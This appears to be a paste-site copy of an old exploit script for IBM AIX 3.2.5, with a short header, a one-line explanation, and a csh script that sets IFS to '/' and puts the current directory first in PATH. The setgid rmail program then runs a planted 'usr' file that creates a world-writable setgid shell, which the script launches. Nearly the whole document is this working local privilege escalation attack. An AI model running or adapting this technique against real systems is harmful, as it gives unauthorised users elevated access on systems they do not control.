IBM AIX 3.2.5 - 'IFS' Local Privilege Escalation - Date:1994-04-02


SUBMITTED BY: FlyFar

DATE: May 16, 2024, 3:42 a.m.

FORMAT: Bash

SIZE: 676 Bytes

HITS: 433

  1. # source: https://www.securityfocus.com/bid/454/info
  2. #
  3. # Under older versions of AIX By changing the IFS enviroment variable to / setuid root programs # that use system() or popen() can be fooled into running user provided programs.
  4. #
  5. #!/bin/csh
  6. # IFS hole in AIX3.2 rmail gives egid=mail. Apr. 1994
  7. # Setup needed files.
  8. mkdir /tmp/.rmail
  9. cd /tmp/.rmail
  10. cat << EOF > usr
  11. cp sh mailsh
  12. chmod 2777 mailsh
  13. EOF
  14. chmod 777 usr
  15. ln -s /bin/sh .
  16. # Set PATH, IFS, and run rmail.
  17. setenv PATH .:$PATH
  18. setenv IFS /
  19. echo "cheezy mail hack" | rmail joeuser@nohost.com
  20. unsetenv IFS
  21. rm -f usr sh # minor cleanup.
  22. echo "Attempting to run sgid shell."
  23. ./mailsh

comments powered by Disqus